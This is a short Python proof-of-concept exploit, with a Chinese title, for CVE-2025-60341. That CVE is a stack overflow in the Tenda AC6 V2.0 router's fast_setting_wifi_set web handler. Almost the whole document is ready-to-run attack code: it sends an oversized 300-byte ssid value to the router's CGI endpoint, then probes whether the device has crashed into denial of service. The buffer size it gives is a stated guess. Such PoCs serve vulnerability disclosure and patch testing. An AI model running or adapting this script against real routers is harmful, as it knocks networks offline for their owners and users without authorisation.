CVE-2025-60341 Tenda AC6 V2.0 栈溢出漏洞导致拒绝服务

import requests # CVE-2025-60341 PoC - Tenda AC6 V2.0 Stack Overflow in fast_setting_wifi_set # Target: Tenda AC6 V2.0 Router # Vulnerability: Stack overflow via ssid parameter in fast_setting_wifi_set function target_ip = "192.168.0.1" # Default Tenda router IP target_port = 80 # Generate payload with oversized ssid parameter to trigger stack overflow # The buffer size is typically 64-128 bytes, so we use 300+ bytes to ensure overflow payload = { "ssid": "A" * 300, # Overflow payload "password": "test1234" } def exploit_stack_overflow(): """Send crafted request to trigger stack overflow in fast_setting_wifi_set""" url = f"http://{target_ip}:{target_port}/cgi-bin/v2/fast_setting_wifi_set" try: response = requests.post(url, data=payload, timeout=10) print(f"[*] Request sent to {url}") print(f"[*] Payload length: {len(payload['ssid'])} bytes") print(f"[*] Response status: {response.status_code}") # Check if device is responsive after exploit check_url = f"http://{target_ip}:{target_port}/cgi-bin/login" check_response = requests.get(check_url, timeout=5) if check_response.status_code != 200: print("[+] Exploit successful - Device appears to be unresponsive (DoS)") else: print("[-] Device still responsive - Try adjusting payload size") except requests.exceptions.Timeout: print("[+] Exploit likely successful - Request timed out (DoS condition)") except requests.exceptions.ConnectionError: print("[+] Exploit successful - Connection lost (DoS condition)") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-60341 PoC - Tenda AC6 V2.0 Stack Overflow") print("=" * 60) exploit_stack_overflow()